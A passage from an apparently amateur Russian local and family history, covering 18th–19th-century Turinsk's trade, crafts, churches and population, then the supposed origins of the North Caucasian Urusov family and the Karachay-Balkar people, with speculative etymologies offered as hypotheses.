овсом… с   лошадьми и живым скотом. В свою
очередь удачливые туринские купцы поставляли товары на Уральские заводы, Пелым
и даже в Ирбит. Общий оборот туринского рынка в продаже достигал 10 тысяч
рублей.


Как ни мал был город, но торговля
во многом опиралась на ремесло. Официальное число ремесленников, записанных в
«цехи», было незначительным – всего 28 человек (1% мужского населения города).
Однако, число реально занимающихся тем или иным ремеслом  (обслуживание населения) на 1767 год было 181
человек: портные, сапожники, кузнецы, столяры т.д.  Но все же 
«лицо» города, его визитную карточку составили два ремесла, близко
стоящих к искусству.  Первое из них
поставляло на рынок различные железные и медные ларцы и «погребцы», а в XIX веке была даже сделана
попытка наладить производство туринских «сибирских» самоваров. Кроме того,
общесибирскую известность имели иконы туринской школы живописи, сложившейся еще
в первой половине XVIII
века, а при туринском женском монастыре работала золотошвейная мастерская. Не
были ли мастера этого искусства из Углича, из Пелыма переведенные? Или  они приехали из Тюмени, где по указанию
митрополита Филарета украшали храм тюменского монастыря иконами и резьбой. В
комплекс торгово-производственных строений города входили: казенная «стойка»
для продажи соли, 4 питейных дома, пивоварня, 13 кузниц, 10 кожевен, 18
кирпичных заводов, а под городом – известная на всю Сибирь бумажная фабрика и
мельница.


    Социальный состав городского народа
Туринска был пестрым. В 1768 году
все мужское население города составляло 1802 человека (324 купцов и мещан, 22
цеховых, 331 крестьян, 31 чиновник, 10 рабочих фабрик, 261 ямщик, 29 ссыльных и
151 посадский (горожане, живущие в деревнях)).


Лепехин И.И, изучая Западную Сибирь, в 1771 году отмечал, что город Туринск почти никакого укрепления не
имеет, но остались естественные преграды. С восточной стороны города протекает
река Тура, имеющая высокий берег, с северной стороны подошло низменное место
отделенное речками Ялынкой и Поймой, с западной стороны глубокий лог, от
которого прокопан ров, укрепленный невысоким валом; с южной -  проведен также ров в другой глубокий лог,
выходящий в реку Туру. По периметру все это около трех с половиной верст
составляет. Городское строение можно разделить на две части:  ямская слобода и городская, где  построены дома жителей города; обе части  разделяет глубокий буерак шириною в 20 и
глубиною 3.25 сажен, где вода  никогда не
высыхает. Строения деревянные, кроме двух каменных церквей и казенного подвала;
всех строений считается до 450 домов. Жителей туринских составляет 1967
ямщиков, 353 купца и 319 разночинцев. В городе бывает один день в неделю
базарный (торжок). В этот день не только городские купцы «сидят со всякою
мелочью» в своих лавках, но и окольные крестьяне привозят хлеб, свои избытки и
поделки. Другая часть населения ездит для промысла на реку Обь, скупают всякую
мягкую «рухлядь» у местных промысловиков, которую иногда отвозят внутрь России,
а более ее продают на ирбитском торжке.


Река Тура судоходна, перевозят
хлеб, лес и другие предметы. Из фабрик только бумажная, построенная на Затурье
в 6 верстах от города (прил.82) на реках Табаринка и Жилиной, при которой и
«пильная» мельница находится. Фабрика вырабатывает до 700-1000 стоп писчей
бумаги (1 верста = 1.06 км).


    К началу 1780-х годов в городе появилось
уже и гильдейское купечество, которое в 1782
году составляло 59 душ мужского пола (дмп). Ряд купеческих фамилий Туринска XVIII-XIX веков, как, например, Панаевы,
Шарыгины и Колмогоровы, вели свое происхождение еще от туринских казаков и
посадских XVII века.
Туринские купцы помогали и городу. Так  в
1790 году в Туринске было 5 богаделен «для немощих и дряхлых»; меценат С.
Чирков построил для города прекрасное двухэтажное каменное здание больницы
(прил.76). 


  
Уже в «Описании Тобольского наместничества» от 1782 года  отмечается, что Туринск простирается по реке
Туре длиной на одну версту и 260 сажен, ширина 350 сажен, а по периметру на три
версты и 50 сажен. Город разделяется на городскую часть и ямскую слободу, а
между «оными частями отделяет речка Лахомка, которая выпадает с полуденной
стороны с горы и впадает в реку Туру. В восточной стороне увал же вышел от
речки 12-и сажен, на котором состоит заштатной мужеской монастырь, где каменная
с колокольнею церковь, ограда монастыря и келии деревянныя, и сие по увалу от
городскаго строения отделяется глубоким буераком который прошел и под увалом, и
ниским местом, оканчивается у реки». В городской части города размещены
дома  правительства, земского суда,
городского магистрата, где была прежде ратуша. В ямской слободе – нижняя
расправа и уездное казначейство в прежней бывшей воеводской канцелярии; от нее
в некотором отделении на горе денежный и винный подвалы с каменными выходами.
«В народском ямском управителском доме, помещено городническое правление.
Обывателского ж жила находится в каждой части по равному числу».


Когда же сделался Туринск городом
в точности не известно, можно, однако полагать, что только после 1663 года, о
чем свидетельствует грамота от 8.07.1663 года, написанная еще в Туринский
острог, а в1704 – был назван городом.


Город заселен купцами, мещанами,
крестьянами, отчасти чиновными служивыми людьми и малым числом польских
конфедератов, калмыками, бухарцами, пребывающими в православной вере. Жителей
города – 3304 человека.


В 1786 году купечества в Туринске было 505 человек, некоторые из них
торгуют внутри Сибири, а остальные в своем городе, сидя в лавках, торгуя
московскими, немецкими суконными, бумажными и прочими разными мелкими товарами:
котлами, обувью, кошами и мелкой рухлядью. Некоторые из купцов сформировались
из ямщиков и прочих разночинцев, обывателей, занимаясь ловлей рыбы и ее продажей.
Из ремесел имеются: портное, сапожное, чеботное, кузнечное, кирпичное,
кожевенное, медное, серебряное, плетение и иконописание; и все в не  великом количестве. В большинстве товары
получают с ирбитской ярмарки. В Туринске учреждена своя ярмарка с 6 по 13
декабря, оборот в 19 тысяч рублей; торговля процветает.


В 1790 году уездный городок Туринск Тобольского наместничества
занимал в окружности территорию в 3 версты и 50 сажен, состоял из 475
обывательских домов. В городе насчитывалось 1пивоварня, 13 кузниц, 10 кожевен,
18 кирпичных мест и 40 торговых лавок.


    В описании о городе Туринске от 1790 года Славина П. рассматриваются достопамятные
здания в Туринске. Это Николаевский монастырь, оставшийся за штатом, в котором
имеется две церкви: Вознесенская (прил.86), построенная в1785 году, а приделы в
разных городах. Бывшая деревянная церковь, находящаяся под горою, называемая
прежде монастырем, в 1778 году переделанная и освещенная во имя Зосимы и
Савватия. Сретинская церковь, с приделом святого Михаила, построенная в 1751
году, перенесена на место сгоревших церквей; в этой церкви есть чтимый древний
образ преподобного Михаила. Кроме этого, в городе имеется четыре приходские
церкви, три из них каменные. Крестовоздвиженская и Богословская с приделом
мученицы Татьяны построена в 1744 году, освещена в 1747 году. Сретинская (1751
года) с приделом Иоанна Воина. Покровская (на месте бывшей деревянной церкви,
построенной в 1739 году, которая впоследствие была разобрана),  построена в 1769 году.  Четвертая приходская церковь во имя
великомученика Федора Стратилата (1743 – 1746); эта церковь в 1768 году была
капитально отремонтирована, и к ней пристроена была каменная церковь
Нерукотворного   Спаса. На месте одной из
сгоревших церквей в 1781 году вне города была построена каменная церковь
Сошествия св. Духа. Все приходские церкви выстроены на средства туринских
граждан.


Из казенных  же строений имеется  казначейство (бывшая воеводская канцелярия),
построенное в 1775 году, денежный земляной подвал с каменным выходом, построенный
в 1765 году. Под горою построено два дома, занятые городничим и земским судом.
За городом в 1761 году были выстроены соляные магазины с винным подвалом. В
1789 году открыто народное малое училище, при котором имеется один учитель и
более 40 учеников. На выезде города выстроена гражданами больница.


Туринск разделяется на четыре
части:  городская заострожная (за
острогом), городская крепость (острог), подгуменная (около горы, где были
казенные гумна и овины, где прежде производилось хлебопашество) и ямская
слобода. Население Туринска (прил.45): купцы, мещане, крестьяне, ямщики и
другие разночинцы, «иконописцы, маляры, золотари, серебреники, портные,
столяры, рещики, плотники, медники, кузнецы, бочкари, синильщики, чеканщики,
сапожники, чеботники, кожевники, коробейники, кирпичники, харчевники» и прочие.



В летнее время не находившие
здесь заработка отлучались на судах для промыслов и работ в другие города:
Тобольск, Березов, Самарово, а некоторые удалялись на Урал для заводских работ.
Рыбная ловля и охота являлись большим подспорьем для туринцев. Всех жителей в
городе Туринске в 1790 году насчитывалось 975 мужчин, 1105  женщин, домов 480 (8 штаб-офицерских, 18
духовных, 4 приказных, 13 купеческих, 139 мещанских, 108 ямских, 117
крестьянских, 56 военнослужащих, 7 польских и бухарских).


  
По описанию, составленному в 1820
году, в Туринске имеется 5 каменных церквей, один заштатный мужской  Николаевский монастырь, два каменных и 471
деревянных домов, жителей 836 д.м.п., «исключая служащих,  неслужащих 
и нижних чинов». Главная промышленность города – торговля мягкой
рухлядью, закупленной у вогулов и остяков и продаваемая в своем городе на
ирбитской ярмарке или продается специально приезжающим купцам.


Путешественник и историк Словцов П.А. в  «Письмах из Сибири», изданных в 1826 году описывает свои ощущения,
когда он увидел впервые Туринск. «Не чувствительно очутившись при скате
нагорья, увидел я внизу городок, и с удовольствием смотрел на не большой, но
правильный, красивый городок; это был Туринск. 505 домов, и среди них
возносится шесть благоленных церквей и столькожь колокольней. Покровская
колокольня из всех зданий сего рода есть башня примечательная. Посмотрите,
какая стройность в вышине, какая легкость в массе, какая смелость в ширине
пролетов, на которые отважился туринский зодчий. Колокольня держится на одних
углах, она отовсюду прозрачна, и соседняя башня, как и луна очаровательно
смотрятся вечером сквозь нее. В Туринске много резчиков по липе и кедру, равно
иконописцев и каменщиков со своими рисунками».


     В.Ильин в своем «Кратком
статистическом описании окружных городов Сибири» за 1862 год пишет о Туринске уже так: «Главная часть города раскинута
на низменном берегу Туры и носит название подгорной, затем небольшая часть
расположена на возвышении до 5 сажен и называется нагорною. Туринск можно назвать одним из красивых окружных городов
Тобольской губернии. Строения его не велики, но опрятны; местами мелькают
каменные здания, куполы же церквей и башни колоколен, особенно его красят.
Самое большое протяжение города три версты, а ширина до 1.5 верст, вся
окружность немного более пяти верст. Климат суровый, холодно; лесистая
местность, прикрывает город от ветров и буранов». В Туринске  за 1862 год считается  668 домов, из которых два казенных, четыре
церковных и 13 частных каменных. Из богослужебных зданий в Туринске 5 каменных
церквей, одна каменная часовня и женский монастырь. Жителей в Туринском округе
считается 4316 человек обоего пола (д.о.п.) или 1937 мужчин и 2379 женщин.
Народонаселение это распространяется  по
сословиям следующим образом:


 
- всех дворян  73 мужчины и 93
женщины;                 - купцов  77 муж и 70 жен;


 
- православного духовенства   30
муж и 182 жен;       - мещан  625 муж и 830 жен;


 
- военных на службе 271 муж и 227 жен;                     - ссыльных  49 муж и 53 жен;


 
- военных в отставке 177 муж и 295 жен;                     - другие  283 муж и 212 жен;              


 
- крестьян  352 муж и 387 жен
(прил. 45).


 

Северокавказские Урусовы.

4. СЕВЕРОКАВКАЗСКИЕ УРУСОВЫ.
После гибели Урус бия (князя) и его сына Сатыя в 1590 году уцелевшая Урусбиевская орда уходит на Кавказ в Верховья Кубани в горы Карачая на стык трех ущелий Хурзунский, Махарский и Кубанский, где в селе Верхний Учкулан (современное название) были похоронены Урус бий и Сатый. Здесь сейчас родовое кладбище Урусовых. По сей день Урусовы знают и чтят могилу Урус-бия, который считается основателем фамилии. Как верно отмечает В.П.Невская, «членов фамилии, умерших вне Карачая, привозили домой, чтобы похоронить на родовом кладбище». А оставшиеся в живых члены урусбиевской семьи стали продолжателями современной карачаевской фамилии Урусовы.
Здесь и сформировался род Урусовых ( К а р а ч а е в с к и е У р у с о в ы).
Через определенное время род Урусовых разросся, им стало тесно в одном селе. Часть Урусовых, получив по праву наследования титул князей, переселилась в Баксанское ущелье Балкарии Приэльбрусья, где обосновало селение Урусбиевское (с 1917 года Верхний Баксан) и жители села рода Урусовых назывались УРУСБИЕВЦАМИ (прил.37-39) ( Б а л к а р с к и е У р у с б и е в ц ы).
Это и есть СЕВЕРОКАВКАЗСКАЯ ветвь УРУСОВЫХ.
И снова вопросы. Как могли свободно пропустить урусбиевскую орду (БНО) в горы враждующие племена, где постоянно шла вражда за землю? И почему именно в этот район Кавказа? Откуда ногайцы оказались на Кавказе? Противоречия. Но история не оставила нам документов, подтверждающих или отвергающих то или иное событие. Только народные сказки и сказания.
Видимо, каким-то образом историческое прошлое фамилии Урусовых тесно связано с историей карачаевского народа. Говоря об истории карачаевского народа, необходимо иметь в виду, что речь идет и о балкарском народе, поскольку не так давно карачаевцы и балкарцы и по происхождению, и по вероисповеданию (мусульмане суннитского толка), и по языку были единым народом. Общность культуры и языка этих народов остается единой и неделимой. Под этническим названием «карачаево-балкарский народ» известна часть населения Северного Кавказа с древнейших времен заселившая территорию к северо-западу и северо-востоку от Эльбруса и говорящая на одном из тюркских языков.
Кавказ уже с глубокой древности был заселен большим количеством самых разнообразных племен, являвшихся часто лишь осколками некогда могущественных народов, как бы застрявших в ущельях хребта при их передвижении с востока на запад в поисках плодородных земель. Войны приводили к исчезновению одной народности, к смешению других и образованию этим путем новых, отличных от первоначальных.
По поводу происхождения карачаево-балкарского народа высказывались самые разнообразные мнения, но это только предположения, основная причина – отсутствие достаточных источников.
Изучение языка, истории и фольклора показывает, что карачаевцы и балкарцы являются древними жителями истоков Кубани и Терека. В пользу этого мнения говорит также близкое сходство фольклора и терминов материальной культуры Карачая, Балкарии и Осетии. Такая близость говорит о степени исторического взаимодействия друг на друга этих народов. Древняя территория осетинского языкового элемента охватывала территорию и Карачая и Балкарии. Господствовал осетинский язык, и предки карачаевцев и балкарцев долгое время находились в сфере влияния осетин. В результате культурно-экономического взаимовлияния и взаимовосприятия элементов образовалось современное осетино-карачаево-балкарское сходство в языке. Начало образования общих элементов в их языке относится к эпохе домонгольского нашествия, т.е. начало исторических связей следует датировать эпохой, когда еще не было ни осетин, ни карачаевцев, ни балкарцев, он начался в недрах алано-ясского союза племен.
Наиболее аргументированной в настоящее время является версия, что карачаево-балкарский народ образовался в результате последовательного смешения северокавказских племен кобанской культуры (ассы – горцы I-V веков – древнейшие жители истоков Кубани и Терека) с гуннами (III-IVвв), аланами (IVв), булгарами (VIв), хазарами (VIIв), печенегами и половцами (кумыками) (XI-XIIвв) (прил.37). Приток представителей разных народов в карачаево-балкарскую среду продолжался в течение длительного времени. Малочисленный карачаево-балкарский народ, окруженный сильными враждующими племенами, вынужден был принимать пришлый элемент.
Процесс смешения завершился в XII-XIII веках с проникновением тюрков-кипчаков в горные районы Северного Кавказа. Таким образом, XII век можно взять за точку отсчета самостоятельного существования карачаево-балкарского народа, как единого народа. Однако вплоть до середины XVII века в исторической литературе не встречается названий «карачаевцы» и «балкарцы». Значит ли это, что карачаево-балкарский народ не существовал до середины XVII века. Нет, не значит. В истории они скрывались под другими названиями, под названиями сильных народов, которые поглощали их, в подданстве которых они находились. Впервые название «карачаевцы» по отношению к населению долины Баксана появилось в 1639 году в отчетах московского посла Толочанова. Даже после XVII века карачаевцы и балкарцы в истории носят самые разнообразные названия. В XVII-XVIII веках карачаевцев находим под названием: баяне, каркчегеты, караджики, карачеркесы и т.д.; в большинстве случаев балкарцев называли басиянами. Многие источники вплоть до начала XIX века карачаевцев и балкарцев называли аланами, которые покорили племена бассейна Кубани и Терека; распространили свое имя на подчиненные им народы. В эту основную группу народов (аланы, булгары, хазары, кипчаки) в течение веков вливались различные мелкие этнические элементы – осетины, кабардинцы, сваны и другие народы. Так образовался современный карачаево-балкарский народ, впитавший в себя много иноязычного элемента.
Но в результате татаро-монгольского нашествия в 1222 и 1238 годах были разгромлены аланы и половцы. Только что сформировавшаяся карачаево-балкарская общность была разгромлена, часть была истреблена, часть захвачена в плен (в том числе и предки Урусовых, прародители Эдигея), а часть ушла в горы Кавказа, сохранив независимость, национальное лицо карачаево-балкарского народа. Одновременно были покорены и адыги, а самое значительное из его племен, кабардинцы, вытеснили при этом алан (оставшихся в живых) из гор западного Кавказа, загнав их в современную горную Осетию. Само же осело в современной Кабарде. В некоторых глухих ущельях истоков Кубани удерживались остатки предков осетин, благодаря этому, быть может, имя аланы удерживалось за населением этих мест. В конце концов и эти остатки, вероятно, исчезли, после чего область эта была занята новыми пришельцами, тюркского происхождения, предками карачаевцев. На них-то соседние народы и перенесли название прежнего населения «аланы». Откуда пришел этот тюркский народ – вопрос довольно темный. Рассматривая, карачаево-балкарский народ, мы остановимся на возможных вариантах происхождения этого народа (булгары, половцы, ногайцы).
В конце XIV века на карачаево-балкарский народ обрушилась новая беда. В1395 году Тамерлан, после победы над Тохтамышем, совершил поход к подножью горы Эльбрус, уничтожая все на своем пути, разрушая города и храмы, захватил много горских крепостей. Карачаевские и балкарские предания сохранили память об этом походе Тамерлана (Тимура).
В высоких горах центральной части Северного Кавказа обитает два родственных народа – карачаевцы и балкары. Они говорят на наречиях одного и того же карачаево-балкарского языка. Имеют общее происхождение и взаимосвязанную историю. Однако, разный характер экономических связей в условиях территориальной разобщенности объясняет причину, почему одна часть этого некогда единого народа вошла в состав населения Кабардино-Балкарской АССР, а другая – Карачаево-Черкесской автономной области Ставропольского края. Нет у них и общего самоназвания, если не считать слова «Таулула», т.е. горцы, каким они отличают себя от жителей степной полосы. Документы дореволюционного времени называли балкарцев и их страну «горскими татарами» и «горским обществом Кабарды».
Ущелье реки восточный Черек считается, по преданию, первоначальным местом поселения балкарцев. Оно и его население издавна у балкарцев носит имя Малкар, у кабардинцев – Балкар, а у грузин – Басиани. Старейшее письменное известие об этом ущелье содержит грузинская надпись, относящаяся к XIV-XV векам. Из названия народа «Малкар» балкарцы пришли из степей рек Кумы и Подкумки (между Пятигорском и Буденовском). Предания отмечают происхождение родоначальников балкарских (Башат) и дигорских (Бадила), которые считаются родными братьями. Время прибытия Башата (Ковалевский М.М.) – XIII век. Пришельцы долгое время воевали с местным населением, которое не сразу подчинилось. Подчинить их балкарцам удалось маджарскому выходцу Мысаксу, за что он и был признан балкарским правителем.
Первое упоминание у русских о балкарах относится к 1620 году во время подготовки экспедиции на Северный Кавказ для поисков серебряной руды. В Посольский приказ поступили сведения о «Балкарах», т.е. черекском ущелье. От кабардинцев и терского воеводы Дашкова (1629) стало известно, что «местом Балкары» владеют мурзы Апши и Абдаула, племянники Кабардинского (Черкесского) князя Пшимахи Камбулатовича. Жители Балкарского ущелья тогда находились в зависимости от мурз Большой Кабарды.
Карачаевцы же до заселения долины Баксан жили (по фольклору) в Закубанье: в местностях, называемых Загрань (Загдан), Лаба, Архыз, Джекута (прил.37). Топонимика этих районов подтверждает древность проживания карачаевцев на этой территории. Архыз считается колыбелью карачаевского народа. Переселение карачаевцев из долины реки Джегута на Баксан произошло из-за притеснений сильных черкесских племен. Предводителем (по фольклору) карачаевцев был Карча, а родоначальниками – Будян, Трам, Адурхай и Науруз. Крымшамханов был зятем Карчи, который и принял главенство после смерти Карчи. Ко времени прихода карачаевцев в Баксан в его низовьях существовали кабардинские аулы, и земли по Баксану считались княжескими, но там никто не жил. В 1639 году московские послы в Сванетию шли через Баксан. Они застали здесь карачаевцев и на время останавливались у карачаевских предводителей – Крымшамхановых. В Статейном списке Ф.Елчина, пробывшего в 1639 году 15 дней в Баксане у карачаевцев, говорится: «Карачаевским князьям, двум братам Ельбуздук и Гилястану Крымшамхановым дано 4 аршина сукна красного аглинского да восемь киндяков».
Карачаевцы с приходом на Баксан были обложены данью кабардинским князем Казыем. На правом берегу реки Баксан, на высокой горе, около развалин древнего карачаевского аула Эльджурт, стоит башня Гошиах-Кала, а напротив – древнее кладбище карачаевцев и подземный склеп старшего брата Крымшамхановых. Часть карачаевцев жила и восточнее Карачая. Так терский воевода М.И.Волынский в1643 году упоминает «карачаевских черкесов», которые жили в Кабарде под Пятигорском.
Непосредственные связи русских людей с Балкарией завязываются в 1650-х годах, благодаря развитию русско-грузинских отношений и освоению перевального пути через горы Большого Кавказа в Имеретию (Грузию). В Балкарии в 1651 году русских послов Толочанова и Ивлева приняли балкарские мурзы Алибек, Айдабулла и Чеполов.
В 1654 году А.Ламберти в работе «Описание Мингрелин» указывает, что карачаевцы помещены северо-западнее сванов на территории нынешнего Карачая, в верховьях Кубани под Эльбрусом. Отсюда следует, что карачаевцы ушли из Баксана между 1643 и 1654 годами из-за притеснений кабардинского князя Казыя (прил.38).
После заселения балкарами ущелий Восточного Черека (общество Балкар), его население увеличилось и заняло территорию западных притоков Черека (общества Хулам и Безенги) и по Череку (общество Чегем). Название «балкары» тогда относилось только к жителям черекского ущелья. Таким образом, в начале XVIII века балкарские селения были расположены в труднодоступных ущельях рек Чегем, Черек и Урвань, и их население называли по ущельям: хуламцы (по среднему течению реки западный Черек), безенцы (верховья р. западный Черек) и чегемцы (в чегемском ущелье).
По свидетельству Ксавери Главани к 1724 году в балкарском ущелье имелось «500 жилищ», а в 1743 году у Гильденштедта сказано кратко «2. Бизинге, или Бизниче на Череке. Числится в нем лишь 100 семейств; 3. Хулам. Тоже на Череке. Также мал».
В этих документах нет известий об урусбиевцах, но зато говорится о какой-то «волости Хузыр», которая упоминается между волостями Хулам и Малкар, а в это время в баксанском ущелье были сваны. Появление урусбиевцев в баксанском ущелье становится известно в начале 1780-х годов, когда Я.Рейнегс в своем сочинении отметил: «На баксанских горах…. пасет (свой скот) 160 бедняков племени Орузпи» (прил.38). Старейшим известием об урусбиевцах является балкарская надпись 1715 года, вырезанная на каменной плите. Надпись гласит, что кабардинский князь Аслан-бек Кайтуно вместе с некоторыми дигорскими и балкарскими феодалами согласился на предоставление И с м а и л у У Р У С Б И Ю некоторой территории в восточной части нынешней Кабардино-Балкарской АССР, скорее всего в районе горы Кашкатау, где стоял мавзолей предков урусбиевых. Народные предания сообщают, что первоначальным местом жительства урусбиевых был Бызынги (Безенги). Здесь они носили тукумную фамилию Глыхановы. Затем эта фамилия на пятом поколении разделилась на две ветви «атаулы» Урусбиевы и Суншевы. Оказавшись в раздоре, Суншевы изгнали своих более слабых сородичей из Бызынги (ок.1705). Орусбиевы поселились в Чегеме среди родственников по материнской линии. Но и здесь им долго не пришлось жить. Лет через десять (ок.1715) пришельцы покинули Чегем и, заручившись поддержкой и защитой князей Чегема, а также кабардинских князей Атажукиных, заселили верховье реки Баксан, местность «Камык» (1715-1743), а уже потом выше по ущелью Баксана (1743-1795) местность Ичкумель (прил.37), оставленную карачаевцами до своего ухода из этих мест на верховья Кубани. Первыми из Урусбиевцев, переселившиеся в Баксан, были Джаппу и Чепеллеу (прил.39).
Итак, у подножья горы Эльбрус в 1780 году появилось племя «орузпи». Интересные сведения мы находим у знаменитого турецкого путешественника Эвлия Челеби (XVII век). В своей «Книге путешествий» он пишет: « Персы называют эти высокие горы Кухи Альборзи, потому что у подножья этих высоких гор (Эльбруса) поселились горцы племени б о р з и. Сведения Эвлия основаны на результатах его путешествия по землям Северного Кавказа и Поволжья в 1641-42 и в 1666-67 годах.
Впервые народ б о р з и упоминается в связи с миграцией булгарских племен, которые известный ученый Н.Я.Мерперт рассматривает как конкурентную группу тюркоязычных племен, проникшую из Азии в степи Северного Причерноморья и Приазовья. Вот что говорится в сирийской хронике Захария Ритера, составленной в IV веке. «За каспийскими воротами (живут) болгары со (своим) языком. Народ языческий и варварский, у них есть города и а л а н ы, у них пять городов. Из пределов Даду (Дагестана), живут в горах, у них есть крепости. Авангур – народ, живущий в палатках, авар, сабир, булгар, алан, авгар… баграсик (прил.36) – эти тринадцать народов живут в палатках, существуют мясом скота и рыб, дикими зверьми и оружием». Древние болгары располагались на Донце, низовьях Дона и на Северном Кавказе. Несмотря на некоторые искажения, в списке Захария Ритора в названии «баграсик» нетрудно увидеть сходство с названием «барсилы» (борзи). М.И. Артамонов, основываясь на анализе источников, предполагает, что племя с таким названием осело в северном Прикаспии вместе с савирами (другое племя болгарского круга) и занимало северную часть низовья Сулака и Терека. О барсилах упоминается и в других древних источниках. По сведениям Моисея Хоренского, барсилы – «сильное племя». Совместно с хазарами они совершали походы на Армению еще во II веке (прил.37). Византийская хроника Феофана: «Хазары – это народ, вышедший из Барсилии, самой дальней страны Первой Сарматии». Знали страну Барсилию и арабские писатели. В рассказе Баладзори и Кудама о встрече персидского шаха и тюркского хана местом действия называется Ал-Баршалия к северу от Дербента. Связь Барсили или Ал-Баршалии с племенным названием «барсилы» убедительно доказана М.И.Артамоновым и рядом других исследователей. Булгарские племена оказались беспокойными соседями как для кавказских народов, так и для Византии и Ирана. Они требовали увеличить дань, говоря: «Мы живем оружием, луком и мечом и подкрепляемся всякой мясной пищей». Но более сильным племенам (например, авары) они «почтили» блестящими дарами, рассчитывая тем самым обеспечить безопасность. Видимо, эта безопасность была настолько призрачна, что некоторые части савиров и барсил переселяются в Верховья Кубани. Так А.В.Гадло помещает оттесненные аварами части савиров и барсил по соседству с осами-аланами, уже в 549-550 годах. Правитель Абасгов Онсит с небольшим отрядом… удалился к жившим поблизости гуннам в пределы Кавказского хребта.
Весьма вероятно, что с этого времени закрепляется за карачаевцами и балкарами этноним савир. А.В.Гадло: «Представляется весьма существенным, что в этнонимике сванов тюркоязычные карачаевцы и балкары носят наименование савир, т.е. по существу именуются древним этнонимом савиров».
О возможности бытования в карачаево-балкарской среде другого этнонима – борзи, барсилы, берсула – говорит и Якоб Рейнегс. Немецкий ученый, побывав у подножья Эльбруса в 1780 году, отмечал, что на баксанских горах пасут свой скот 160 бедняков племени орузпи. А в самом начале XIX века другой немецкий ученый Ю.Клапрот сообщает: «К карачаевцам еще принадлежит живущее северо-восточнее от этих (кубанских карачаевцев) на горном хребте Чалпак (Джалпак) племя урусби». О том, что этноним барсилы-борзи-берсула-орузпи-урусби бытовал в среде карачаевского народа, говорит и такой факт. Вплоть до революции 1917 года жителей Балкарии, проживающих в баксанском ущелье, называли орузпиевцами (урусбиевцами).
В то время, как отдельные подразделения барсил переселялись в 50-х годах VI века к подножью Эльбруса, вступали в связи с добулгарскими племенами, оставшаяся же в Прикаспии часть барсил была вовлечена в жизнь Великой Булгарии. Но после захвата власти хазар часть булгар во главе с ханом Аспарухом ушла на Дунай и, покорив жившие там славянские племена, положила начало Дунайской Болгарии (прототип современной Болгарии). Вторая часть булгар, в составе которых были и барсилы, передвинулась на север к Дону, а отсюда – на Волгу, положив тем самым начало Волжской Булгарии (современный Татарстан). О части барсил, оказавшихся в Волжской Булгарии, пишет Ибн Руст: «Волжские булгары делились на три племени: бер-сула, эсегелы, булгары». Третья часть барсил в составе орды Батбая продвинулась к верховью Кубани и в Приэльбрусье. О том, как продвигалась орда Батбая, свидетельствуют данные археологических памятников (350\ 5). В районе современного города Невинномысска орда разделилась на две части: одна из них двинулась по правому берегу реки Кубань на территорию современной Карачаево-Черкесии; другая – продолжила перекочевку в направлении Пятигорья. Несмотря на уход в горные районы, северокавказские булгары хана Батбая остались в сфере влияния Хазарского каганата. Хазарский каган Иосиф, гордо именуя себя «царем Тогармским», подчеркивает этим могущество своей власти, простиравшейся не только на хазар, но и на все остальные тюркские народы; перечисляет территории, платящие ему дань, называя и Эльбрус. В том письме, датированном 934 годом, впервые и появляется слово «эльбрус» в форме «Эльборус», как название самой высокой горы Кавказа и описывается происхождение народа хазар (прил.36).
Таким образом, ранние булгары и родственные им племена савиров и барсил в результате двух последовательных переселенческих волн VI-IX веков оказались в верховьях Кубани и в Приэльбрусье, а также сыграли важную роль в формировании карачаево-балкарского народа. Массовое расселение булгарских племен на современной территории Карачая и Балкарии подтверждается и археологическими данными ( Трифонов Юрий. Откуда пошел род Урусовых ).
А если предположить, что источники смешивают полное имя Барас (Борус) с названием народа (барсилы, берсула), подвластного этому лиц. В подтверждение этой гипотезы проведем этимологический анализ слова барсилы (берсула) (прил.36). Слово барас состоит их двух компонентов: б + арас (б + орус; б + урус), что означает «князь воды, реки». Здесь отчетливо проступает смешение собственного имени с титулом бий (князь). Современное имя Урусбий, широко распространенное среди карачаево-балкарского народа ничем не отличается от рассмотренного, только перестановкой компонентов «князь реки» или «речной князь». И действительно, в начале нашей эры барсилы занимают низовья Сулака и Терека, а в VI-IX веках и в последующие столетия – верховья Кубани, Малки, Баксана.
Итак, анализ предполагает, что первоначально имя одного из десяти сыновей Тогармы (Плетнева, 1976г.с.7) было Урус-Оруз в значении «вода, большая река». В источниках, запечатлевших эти события, в результате смешения собственного имени с титулом, получается Биз (Баскаков, 1985, с.14) ( т.е.бий + Оруз-Урус). Далее это имя Биз смешивается с названием народа, подвластного данному лицу, и передается как Биз-л. В более поздних источниках название этого племени передается уже в исконной тюркской форме: орузпи, урусби, урусбиевцы.
Вспомним «Книгу путешествий» Эвлия Челеби: «Персы называют эти высокие горы Кух-и Альборзи, потому что у подножья этих высоких гор (Эльбруса) поселились горцы племени борзи». Имея представление о племени борзи, рассмотрим слово «эльбрус». Во-первых, слово «эльбрус» в форме «Аль-борзи» впервые появляется в письме хазарского царя, датированном 934 годом. Во-вторых, источники локализируют к этому времени покинувших Прикаспий барсил (борзи) у подошвы Эльбруса. В-третьих, восточные летописцы страну, населенную племенем барсил, называют Ал-Баршалия. Что же получается? По именному названию племени называется страна, а по названию страны с добавлением еще «Кух-и» Альборзи персы называют гору Эльбрус? И это возможно! В персидском языке слово «Кух (Хох)» имеет значение «гора». И в полной передаче Кух-и Альборзи первоначально, по всей видимости, имело следующее значение: кух (гора), ал-эль (народ, люди), борзи (бий+Оруз-Урус), т.е. буквально «гора людей (племени) речного князя».
Эти нити, связывающие современную фамилию Урусовы с ее первоначальным ядром, т.е. племенем барсил (борзи), были спутаны во время нашествия монголов на Северный Кавказ.
Но, возможно, фамилия Урусовых появилась и от половецкого хана Урусоба, правившего в XII веке половцами. Ведь предки карачаевцев и балкар были тюркоязычными. Частичное проникновение тюрок в Карачай могло иметь место еще до монгольского нашествия. Однако нет оснований считать их предками карачаевцев, так как последние переселялись в Карачай из баксанского ущелья на рубеже XVII-XVIII веков (1643-1654). Так как Балкарией и значительной частью Карачая до XIII века (1223г.) прочно владели аланы, то нельзя относить появление здесь карачаевцев и балкар до XIII века. Но непосредственно после монгольского нашествия предгорьем Центрального Кавказа овладели кабардинцы, и это должно было сильно затруднить переселение тюрок в горы, так как последним требовалось бы пройти через земли, занятые кабардинцами. Поэтому наиболее вероятным остается предположение, что тюркоязычные предки карачаевцев и балкар появились в горах не до и не после монгольского нашествия, а во время его. Русская летопись 1223 года и сочинения арабского писателя того времени Ибн Ал-асара рассказывают о походе монгол на Северный Кавказ в 1221-23 годах, что, пройдя через Азербайджан и приморскую часть Дагестана, монголы направились в земли кипчаков (половцев), разбили их, «остальные бежали в болота и на вершины гор, покинув землю свою, и ею овладели эти татары». Позже, в XVII веке, известный Абу-л-Гази, писал, что когда половцы оказались разбиты монголами, то 